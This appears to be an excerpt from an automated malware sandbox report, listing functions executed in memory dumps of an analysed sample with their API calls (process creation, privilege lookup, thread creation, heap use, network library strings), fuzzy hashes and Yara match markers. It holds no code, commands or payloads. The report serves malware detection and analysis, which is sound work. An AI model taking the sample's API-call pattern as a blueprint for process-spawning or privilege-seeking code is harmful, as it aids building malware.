String ID:
API String ID: 2994545307-0
Opcode ID: e10afa43686a865451912e380420448e372df0750daa6ce9a255e5da0ebc5f9d
Instruction ID: 681029859dad8e59c581218ed91171930673f293fec6eb35ced4facaafbe3d60
Opcode Fuzzy Hash: e10afa43686a865451912e380420448e372df0750daa6ce9a255e5da0ebc5f9d
Instruction Fuzzy Hash: DD9002E134104942E101A1594418B061109DBE1341F61C015E506D554D8759CC527166

Uniqueness

Uniqueness Score: -1.00%

Function 03C69910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6991A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3adccde9901d56c4e210d8ec898280c5b23f23ec95707404f73cdb43ca91ca17
Instruction ID: 788c7d385e4516bb9dc328ce8fda6ba9e949d8d6e67723e9a2ee34fae271535a
Opcode Fuzzy Hash: 3adccde9901d56c4e210d8ec898280c5b23f23ec95707404f73cdb43ca91ca17
Instruction Fuzzy Hash: 339002F120104902E141B159440874611099BD0341F61C011A906D554E87998DD576A5

Uniqueness

Uniqueness Score: -1.00%

Function 03C69840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6984A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b53061eb475567fd9e7efe06bed3de91521a264cbe2d66106352cd19737961b7
Instruction ID: dd7e42b3b763f4b16db4fe9cc0fe63cd1be7622197ddb78935535b8f5ff9a23b
Opcode Fuzzy Hash: b53061eb475567fd9e7efe06bed3de91521a264cbe2d66106352cd19737961b7
Instruction Fuzzy Hash: 769002A1242086526546F1594408507510AABE0281BA1C012A541D950C86669856E661

Uniqueness

Uniqueness Score: -1.00%

Function 03C69860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6986A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6279c64085a7d77f8194176a02a84a9bef6abc56672f18ec9a2735cc00f19b7
Instruction ID: 060d068ec62c1071554033f6194a905dcb69a0ad9b72ad50f49a96d4e657d3ec
Opcode Fuzzy Hash: b6279c64085a7d77f8194176a02a84a9bef6abc56672f18ec9a2735cc00f19b7
Instruction Fuzzy Hash: FE9002B120104913E112A1594508707110D9BD0281FA1C412A442D558D97968952B161

Uniqueness

Uniqueness Score: -1.00%

Function 03C69FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C69FEA

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b53172af72ea790cedeefc6a105b0ec4814213f253d65798a669a9d8913f7c4b
Instruction ID: 7840f2cd1dcad4ed235a6e3a16b36f9022ef02e4002f5964ced824030bde20a8
Opcode Fuzzy Hash: b53172af72ea790cedeefc6a105b0ec4814213f253d65798a669a9d8913f7c4b
Instruction Fuzzy Hash: C09002B131118902E111A159840870611099BD1241F61C411A482D558D87D588917162

Uniqueness

Uniqueness Score: -1.00%

Function 03C69780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6978A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e647350bba6fea4e846756cee58d0cdeef72e27f8a7c05abc123734509c0ddb
Instruction ID: 1ae723d2d3e762c110d46154895ce965404081bf848f3a32d30093944754b3a6
Opcode Fuzzy Hash: 7e647350bba6fea4e846756cee58d0cdeef72e27f8a7c05abc123734509c0ddb
Instruction Fuzzy Hash: 3B9002A921304502E181B159540C60A11099BD1242FA1D415A401E558CCA5588696361

Uniqueness

Uniqueness Score: -1.00%

Function 03C69710, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6971A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e87bd58850f269b2847e59c3f9af70fdf5c3a99e3652e75bd1e2e05355d33bb2
Instruction ID: 9556fb45fe71dd335b9b3f31b85906ff1c44f95d9df72e3ca27acb205dc82f75
Opcode Fuzzy Hash: e87bd58850f269b2847e59c3f9af70fdf5c3a99e3652e75bd1e2e05355d33bb2
Instruction Fuzzy Hash: 669002B120104902E101A599540C64611099BE0341F61D011A902D555EC7A588917171

Uniqueness

Uniqueness Score: -1.00%

Function 03C696D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C696DA

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7529448d0746782bd59afc3c8a9d1d8721920abc7d491f14ecdf6a320128c70b
Instruction ID: 52fca6a5513994a9bb0185ba27b7bd06d6e3f7cf3ee9efa97149a8dcd6b234d6
Opcode Fuzzy Hash: 7529448d0746782bd59afc3c8a9d1d8721920abc7d491f14ecdf6a320128c70b
Instruction Fuzzy Hash: A49002B120104D42E101A1594408B4611099BE0341F61C016A412D654D8755C8517561

Uniqueness

Uniqueness Score: -1.00%

Function 03C696E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C696EA

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 59bc26d0728a381ef387cae0a758e4d49f9bf0ae9fc940eea3b466684d5c8fb2
Instruction ID: 3368c29a5558a29b8fa369d51a41090c6bcf9b3b0b7d7537da08155b68cbb2c8
Opcode Fuzzy Hash: 59bc26d0728a381ef387cae0a758e4d49f9bf0ae9fc940eea3b466684d5c8fb2
Instruction Fuzzy Hash: D29002B12010CD02E111A159840874A11099BD0341F65C411A842D658D87D588917161

Uniqueness

Uniqueness Score: -1.00%

Function 03C69650, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6965A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d9713f613009a81849eeece3226dc8300a8c2d3b29103731218620c370cfa60d
Instruction ID: 864d1b5f3bb2ea9f60e2ff749b943b9ceeaf5b52c4653c3d42eae45e6a83deec
Opcode Fuzzy Hash: d9713f613009a81849eeece3226dc8300a8c2d3b29103731218620c370cfa60d
Instruction Fuzzy Hash: BD9002B120508D42E141B1594408A4611199BD0345F61C011A406D694D97658D55B6A1

Uniqueness

Uniqueness Score: -1.00%

Function 03C69660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6966A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a54c824bae9b460ebf82fc46add913f99319b5ec3efb5679544f6734e273ba0e
Instruction ID: 452cfaa602b9d918d4066255cf257e8131f16cc8eecec97912b33bd8eb50a5ed
Opcode Fuzzy Hash: a54c824bae9b460ebf82fc46add913f99319b5ec3efb5679544f6734e273ba0e
Instruction Fuzzy Hash: A99002B120104D02E181B159440864A11099BD1341FA1C015A402E654DCB558A5977E1

Uniqueness

Uniqueness Score: -1.00%

Function 03C695D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C695DA

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7088b3adf7535e56a7ba45f458fe2cef7046a1ab68c5b154c7374111a16deed5
Instruction ID: 84e19df51fa62ccd85600b81eaf8ef4122e311dfa1402f0170b4db7102f013cf
Opcode Fuzzy Hash: 7088b3adf7535e56a7ba45f458fe2cef7046a1ab68c5b154c7374111a16deed5
Instruction Fuzzy Hash: 1E9002E1202045035106B1594418616510E9BE0241F61C021E501D590DC66588917165

Uniqueness

Uniqueness Score: -1.00%

Function 03C69540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C6954A

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 61eb48b0952d099eee747bb42f230b93a06cf35f7bbe7d6090be58aebe4ea620
Instruction ID: dd473842df6b4967dd151d704285ce3938c3fb5052e512e47f16bf982f59b11a
Opcode Fuzzy Hash: 61eb48b0952d099eee747bb42f230b93a06cf35f7bbe7d6090be58aebe4ea620
Instruction Fuzzy Hash: E79002A5211045031106E5590708507114A9BD5391761C021F501E550CD76188616161

Uniqueness

Uniqueness Score: -1.00%

Function 00F76EE0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00F76F88

Strings

wininet.dll, xrefs: 00F76F3E, 00F76F47
net.dll, xrefs: 00F76F51, 00F76FD7, 00F76FAF, 00F76FBB, 00F76FE3

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: c215d42dee64f4f90abc787668cc2f9aa3a0278df782675f009b0eca9f5561f1
Instruction ID: 7354737a11775279635bee0729a962bfe5adc12ccdeb64a359e538bcb23fe314
Opcode Fuzzy Hash: c215d42dee64f4f90abc787668cc2f9aa3a0278df782675f009b0eca9f5561f1
Instruction Fuzzy Hash: 2531D0B1601700ABC725DF68DCA1FA7B7F8EB88300F00841EF61E9B241D774A405DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F76ED6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 82sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 00F76F88

Strings

wininet.dll, xrefs: 00F76F3E, 00F76F47
net.dll, xrefs: 00F76F51, 00F76FAF, 00F76FBB

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 5601f59cedad1fbb85f5ff5f5b2a909b4c9836cd0db3fd8bb911677ff5ac53c1
Instruction ID: ef9078e00efd763aa4a6ecd75ec9a9ade59ceece0db31387d073c58d44cd88b7
Opcode Fuzzy Hash: 5601f59cedad1fbb85f5ff5f5b2a909b4c9836cd0db3fd8bb911677ff5ac53c1
Instruction Fuzzy Hash: 9B21C1B1A05705ABD711DF68DCA1FABB7B8EB88700F10802EF61D9B241D774A454DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F784C2, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00F63B93), ref: 00F784FD

Strings

.z`, xrefs: 00F784EC, 00F784F8

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: b3d01f18a4a08275bb7fb3477ec92ff3cdf9a6611af2a42f102f282f7451ed4f
Instruction ID: 9a8877c5d7dab38825bebde037d5a8d8570be88d61c754025b580110ac973fdd
Opcode Fuzzy Hash: b3d01f18a4a08275bb7fb3477ec92ff3cdf9a6611af2a42f102f282f7451ed4f
Instruction Fuzzy Hash: 5FE06DB16001046FDB24DF65CC46EEB7B68EF88390F118584FD5C9B251C631E912CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F784D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00F63B93), ref: 00F784FD

Strings

.z`, xrefs: 00F784EC, 00F784F8

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: beb000b85ee77e79afc80cfd1cda723556fbe4886e0683860c7b5bdc4efcd038
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: E6E01AB12002046BD714DF59CC49EA777ACAF88750F018555F90857241CA30E9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00F785D6, Relevance: 3.1, APIs: 2, Instructions: 74processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00F78594
LookupPrivilegeValueW.ADVAPI32(00000000,?,00F6CFA2,00F6CFA2,?,00000000,?,?), ref: 00F78660

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalLookupPrivilegeProcessValue
String ID:
API String ID: 65721159-0
Opcode ID: 39a132e94556f882caf38c291b6f3c29fc9bbaf426952d588011c52244ac7c2b
Instruction ID: 5549e127ae328c5a7ce76e4b78fd5fa89e424a6153fafdce6cc40adb8a703d2e
Opcode Fuzzy Hash: 39a132e94556f882caf38c291b6f3c29fc9bbaf426952d588011c52244ac7c2b
Instruction Fuzzy Hash: 9D112CB52442046FCB14DF99DC85DEB77A9EF88750F148659FD4D97241CA30E8118BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F67260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 00F672BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 00F672DB

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 0d251a6efcd9bab6f901e207b7ee06c09f46ef66761929ea5bbfdc0c346a625e
Instruction ID: 796cd3677f2e039141dd3103d0e61ab327a7bf2a4c14e6e37ba7e57251e58c2e
Opcode Fuzzy Hash: 0d251a6efcd9bab6f901e207b7ee06c09f46ef66761929ea5bbfdc0c346a625e
Instruction Fuzzy Hash: 2501A231A8432876E720A6949C03FFEB76C9B40B50F154119FF08BA1C1E6E86A0697F6

Uniqueness

Uniqueness Score: -1.00%

Function 00F69B20, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00F69B92

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: e6770173db47ae1a657df86988e9d0cdb1614c1f24a95c35904e638697e21418
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: 78011EB5D0020DABDF10DAA4EC42F9DB7B89B94308F008195E90C97241F675EB14DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F78457, Relevance: 1.5, APIs: 1, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00F73516,?,00F73C8F,00F73C8F,?,00F73516,?,?,?,?,?,00000000,00000000,?), ref: 00F784BD

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 506b2c4abdef9ef12fcc5827d5b9ce237fcf15cd7939191564da8f592ada8a38
Instruction ID: ec836dc32e45d5348681f400bbf38ac5bd6db14d4fab3d95c8204f01423c81e1
Opcode Fuzzy Hash: 506b2c4abdef9ef12fcc5827d5b9ce237fcf15cd7939191564da8f592ada8a38
Instruction Fuzzy Hash: 8FF0AFB52042406FDB24DF64DC89EE77769EF84350F15854AF84847382CA31E912CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F78540, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00F78594

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 358cb9235516cfd2a10838a02795312c87db85a2e72ae2fd81bce7b74d4b35c0
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 6A01AFB2210108AFCB54DF89DC80EEB77ADAF8C754F158258FA0D97241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F786A1, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00F6CFA2,00F6CFA2,?,00000000,?,?), ref: 00F78660

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: d6357f2c9464313862ee9990b3e5631f27504742790c6f13a23ac4f4be6e0887
Instruction ID: f01fad48e1b9952bb2953f160ab92d73407a4a53171411b4c77c25f53a0fea76
Opcode Fuzzy Hash: d6357f2c9464313862ee9990b3e5631f27504742790c6f13a23ac4f4be6e0887
Instruction Fuzzy Hash: 4DF09076614304AFCB20EFA8DC85CEB77A8EF843A0B01C54AF85C47203CA71ED1697A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F77010, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00F6CCD0,?,?), ref: 00F7704C

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction ID: ef89a9730729051481f5676357a76e45608c1c3704feb73cefe0bf82e44b4f1f
Opcode Fuzzy Hash: 473dbcfab93db6e432a80a17414ec1433c52d710a873f6e391b32a5e11b2618c
Instruction Fuzzy Hash: 76E06D333903043AE23065999C02FA7B39C8B81B20F54402AFA0DEA2C1D595F90152A6

Uniqueness

Uniqueness Score: -1.00%

Function 00F77005, Relevance: 1.5, APIs: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00F6CCD0,?,?), ref: 00F7704C

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 5107cb408d6e1d818aff4aef2d3231b6164e50f0aaaf8aea1c26cf37013dc999
Instruction ID: 4a9484aa394e9f0f8966bcd5672079d6d9db84fd3e72d65cf142a14d59cd4f23
Opcode Fuzzy Hash: 5107cb408d6e1d818aff4aef2d3231b6164e50f0aaaf8aea1c26cf37013dc999
Instruction Fuzzy Hash: FDF02B723803403AE73075584C03FA737588F91B10F55405EFA4DAB1C2D5D4B5015766

Uniqueness

Uniqueness Score: -1.00%

Function 00F78621, Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00F6CFA2,00F6CFA2,?,00000000,?,?), ref: 00F78660

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 36a7ac35b619531ef9057343e9e27ce67be0889eb70bfb3f46b50ce6935b7c2a
Instruction ID: f547849ce1890979c302bc741bdbef93e1b4805affd61f6d69741ba231f036f0
Opcode Fuzzy Hash: 36a7ac35b619531ef9057343e9e27ce67be0889eb70bfb3f46b50ce6935b7c2a
Instruction Fuzzy Hash: 01E0EDB1200204AFDB20DF54CC48FE737A9AF84360F048289FD0D5B281CA31E9028BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F78490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00F73516,?,00F73C8F,00F73C8F,?,00F73516,?,?,?,?,?,00000000,00000000,?), ref: 00F784BD

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: c4de871da37acabf09c2a4fc7e6b64e400c322f2e5768bc74a6b18131a748fda
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 0FE012B1200208ABDB24EF99CC45EA777ACAF88650F118559FA085B282CA30F9118AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00F6D408, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00F67C63,?), ref: 00F6D43B

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: df9db21e8de393d8275fe9b7236903b0781d05b02f527ddc862af87274a5b4b4
Instruction ID: 80830d667e0a702cad0e8b120b74169f83f6c868ba8a7250c6c395c75feea5b6
Opcode Fuzzy Hash: df9db21e8de393d8275fe9b7236903b0781d05b02f527ddc862af87274a5b4b4
Instruction Fuzzy Hash: 29D0C29676838436E710AAB46C03F572B444782660F4A45A9F449EA483C819C0191136

Uniqueness

Uniqueness Score: -1.00%

Function 00F78630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,00F6CFA2,00F6CFA2,?,00000000,?,?), ref: 00F78660

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: f9279b2b9b9fdba85ed9f698d271aeb4f4449d88e75a3dc3e5c9e63411ead4f0
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 7DE01AB12002086BDB20DF49CC85EE737ADAF88650F018555FA0C57241C934E8118BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00F6D410, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,00F67C63,?), ref: 00F6D43B

Memory Dump Source

Source File: 00000007.00000002.913465611.0000000000F60000.00000040.00000001.sdmp, Offset: 00F60000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: 9d770f3772f27762a0fb31b1c371592bfdddabf588bc83d348182adf56bcdcdb
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: 4ED0A771B503043BE610FBA89C03F2632CC5B54B10F494064F94DD73C3DD64F9004562

Uniqueness

Uniqueness Score: -1.00%

Function 03C6967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 03C69694

Memory Dump Source

Source File: 00000007.00000002.914367318.0000000003C00000.00000040.00000001.sdmp, Offset: 03C00000, based on PE: true

Associated: 00000007.00000002.914484015.0000000003D1B000.00000040.00000001.sdmp Download File
Associated: 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2bb4d19910585c22245901a81281f1a94fd416c428bddc42cd7261b15abbcd4a
Instruction ID: 22ca957d2ee9257be2a16ec8a19aded1b92c475d85dde891e32cf9000d57ec4a
Opcode Fuzzy Hash: 2bb4d19910585c22245901a81281f1a94fd416c428bddc42cd7261b15abbcd4a
Instruction Fuzzy Hash: 96B09BB19015C5C5E651D760470C7177A147BD0741F26C051D103C641A4778C191F5B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03CBFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

